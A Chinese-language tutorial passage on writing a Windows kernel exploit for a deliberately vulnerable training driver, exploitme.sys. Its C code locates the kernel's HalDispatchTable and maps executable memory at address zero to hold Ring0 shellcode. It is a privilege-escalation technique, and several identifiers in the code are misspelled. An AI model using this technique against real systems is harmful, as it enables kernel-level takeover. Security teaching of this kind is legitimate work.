首页 > 代码库 > OD: Kernel Exploit Programming

OD: Kernel Exploit Programming

本节接前方,对 exploitme.sys 进行利用。

 

exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。

获取 HalDispatchTable 表地址 x

HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:

 1 NTSATUS NtSataus = STATUS_UNSUCCESSFUL; 2 ULONG   ReturnLength = 0; 3 ULONG   ImageBase = 0; 4 PVOID   MAppedBase = NULL; 5 UCHAR   ImageName[KERNEL_NAME_LENGTH] = {0}; 6 ULONG   DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; 7 PVOID   HalDispatchTable = NULL; 8 PVOID   xHalQuerySystemInformation = NULL; 9 ULONG   ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;10 PVOID   ShellCodeAddress = NULL;11 UNICODE_STRING  DllName = {0};12 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;13 int     RetryTimes = 10;14 15 //////////////////////////////////////////////////16 // 获取内核模块基址和内核模块名称17 //////////////////////////////////////////////////18 // 获取内核模块列表数据大小到 ReturnLength19 //////////////////////////////////////////////////20 NtStatus = ZwQuerySystemInformation(21             SystemModuleInformation,22             ModuleInformation,23             ReturnLength,24             &ReturnLength);25 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)26     return;27 28 // 申请内存 存放内核模块列表数据29 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);30 if(!ModuleInformaiton)31     return;32 // 获取内核模块列表数据到 ModuleInformation33 NtStatus = ZwQuerySystemInformation(34             SystemModuleInformation,35             ModuleInformation,36             ReturnLength,37             NULL);38 if(NtStatus != STATUS_SUCCESS)39 {40     free(ModuleInformation);41     return;42 }43 44 // 从内核模块列表获取内核第一个模块的基址和名称45 ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);46 RtlMoveMemory(ImageName,47                 (PVOID)(ModuleInformation->Modules[0].ImageName +48                 ModuleInformation->Modules[0].ModuleNameOffset),49                 KERNEL_NAME_LENGTH);50 51 // 释放存放内核模块列表的内存52 free(ModuleInformation);53 54 // 获取内核模块的 UnicodeString55 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName);56 57 //////////////////////////////////////////////////58 // 加载内核模块到本地进程59 //////////////////////////////////////////////////60 NtStatus = (NTSTATUS)LdrLoadDll(61             NULL,                   // DllPath62             &DllCHaracteristics,    // DllCharacteristics63             &DllName,               // DllName64             &MappedBase);           // DllHandle65 if(NtStatus)66     return;67 68 //////////////////////////////////////////////////69 // 获取内核 HalDispatchTable 函数表地址70 //////////////////////////////////////////////////71 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");72 if(HalDispatchTable == NULL)73     return;74 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);75 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));76 77 //////////////////////////////////////////////////78 // 卸载本地进程中的内核模块79 //////////////////////////////////////////////////80 LdrUnloadDll((PVOID)MappedBase);

在 0x0 处申请一段内存,并写入 Ring0 Shellcode

在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。

 1 ////////////////////////////////////////////////// 2 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode 3 ////////////////////////////////////////////////// 4 ShellCodeAddress = (PVOID)sizeof(ULONG); 5 NtStatus = ZwAllocateVirtualMemory( 6     NtCurrentProcess(),         // ProcessHandle 7     &ShellCodeAddress,          // BaseAddress 8     0,                          // ZeroBits 9     &ShellCodeSize,             // AllocationSize10     MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,    // AllocationType11     PAGE_EXECUTE_READWRITE);    // Protect12 if(NtStatus)13     return;14 // 存放 ShellCode15 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
View Code

 

OD: Kernel Exploit Programming